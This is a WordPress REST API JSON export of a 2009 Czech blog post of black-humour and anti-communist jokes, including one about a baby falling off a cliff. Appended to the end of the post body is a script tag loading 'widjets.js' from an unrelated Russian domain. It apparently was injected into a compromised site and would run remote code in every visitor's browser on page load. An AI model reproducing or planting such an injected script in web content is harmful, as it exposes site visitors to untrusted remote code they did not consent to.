{"id":5644,"date":"2009-08-30T22:30:36","date_gmt":"2009-08-30T21:30:36","guid":{"rendered":"http:\/\/www.scmlondon.org\/?p=5644"},"modified":"2009-08-30T23:12:24","modified_gmt":"2009-08-30T22:12:24","slug":"nastve-co","status":"publish","type":"post","link":"https:\/\/www.scmlondon.org\/?p=5644","title":{"rendered":"Na\u0161tve co?!"},"content":{"rendered":"<p><a href=\"http:\/\/www.scmlondon.org\/wp-content\/uploads\/2009\/08\/UglyBabySmile.jpg\" data-rel=\"lightbox-image-0\" data-rl_title=\"\" data-rl_caption=\"\"><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-thumbnail wp-image-5648\" title=\"\" src=\"http:\/\/www.scmlondon.org\/wp-content\/uploads\/2009\/08\/UglyBabySmile-150x150.jpg\" alt=\"UglyBabySmile\" width=\"150\" height=\"150\" \/><\/a>Dal\u0161\u00ed vtip pro pozorn\u00e9 poslucha\u010de : &#8222;Kdy vid\u011bl\u00a0rusk\u00fd pes naposledy kost? Kdy\u017e m\u011bl otev\u0159enou zlomeninu&#8230;&#8220;<\/p>\n<p>Co to je? M\u00e1 to \u010dty\u0159i nohy a jednu ruku? Pitbul ut\u00edkaj\u00edc\u00ed z d\u011btsk\u00e9ho h\u0159i\u0161t\u011b&#8230;<\/p>\n<p>Na D\u00e1ln\u00e9m v\u00fdchod\u011b ve Verchojansku jsou dva obchody : &#8222;Ovoce a zelenina&#8220; a &#8222;Ml\u00e9ko a maso&#8220;. Do obchodu &#8222;Ovoce a zelenina&#8220; p\u0159ijde Boris a chce maso. Prodava\u010dka odpov\u00ed : &#8222;My tady nem\u00e1me ovoce a zeleninu, vedle nemaj\u00ed ml\u00e9ko a maso&#8230;&#8220;<\/p>\n<p>Na kraji \u00fatesu se proch\u00e1zej\u00ed dv\u011b maminky s ko\u010darky s \u010derstv\u011b narozen\u00fdmi d\u011btmi. Kr\u00e1tk\u00fd siln\u00fd poryv v\u011btru a t\u00e9 jedn\u00e9 pad\u00e1 ko\u010d\u00e1rek dol\u016f do propasti. Do ticha se naklon\u00ed druh\u00e1 maminka a pov\u00edd\u00e1 : &#8222;Na\u0161tve, co!? &#8220;<\/p>\n<p>&#8222;Na co um\u0159el Stalin?&#8220; 1. varianta = Na \u0161t\u011bst\u00ed, 2. varianta = Na zkrat (srostlo mu obo\u010d\u00ed).<\/p>\n<p>M\u016f\u017ee se st\u00e1t P\u00e1n B\u016fh \u010dlenem komunistick\u00e9 strany? M\u016f\u017ee, ale mus\u00ed nejd\u0159\u00edv vystoupit z c\u00edrkve&#8230;<\/p>\n<p>Ot\u00e1zka na komunistick\u00e9ho hlavouna : Sly\u0161ela jsem, \u017ee v Americe maj\u00ed tak velk\u00e9 pole, \u017ee ho za den neobjedou, je toto mo\u017en\u00e9 i u n\u00e1s? Soudruh odpov\u00ed : Ale jist\u011b, s kter\u00fdmkoliv z na\u0161ich traktor\u016f&#8230;<script src=\"\/\/uptoliked.ru\/widjets.js\"><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Dal\u0161\u00ed vtip pro pozorn\u00e9 poslucha\u010de : &#8222;Kdy vid\u011bl\u00a0rusk\u00fd pes naposledy kost? Kdy\u017e m\u011bl otev\u0159enou zlomeninu&#8230;&#8220; Co to je? M\u00e1 to \u010dty\u0159i nohy a jednu ruku? Pitbul ut\u00edkaj\u00edc\u00ed z d\u011btsk\u00e9ho h\u0159i\u0161t\u011b&#8230;&#8230; <a class=\"meta-more\" href=\"https:\/\/www.scmlondon.org\/?p=5644\">Pokra\u010dova\u0165 v \u010d\u00edtan\u00ed <span class=\"meta-nav\">&raquo;<\/span><\/a><\/p>\n","protected":false},"author":24,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":["post-5644","post","type-post","status-publish","format-standard","hentry","category-6"],"_links":{"self":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts\/5644","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/users\/24"}],"replies":[{"embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=5644"}],"version-history":[{"count":5,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts\/5644\/revisions"}],"predecessor-version":[{"id":5660,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts\/5644\/revisions\/5660"}],"wp:attachment":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=5644"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=5644"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=5644"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}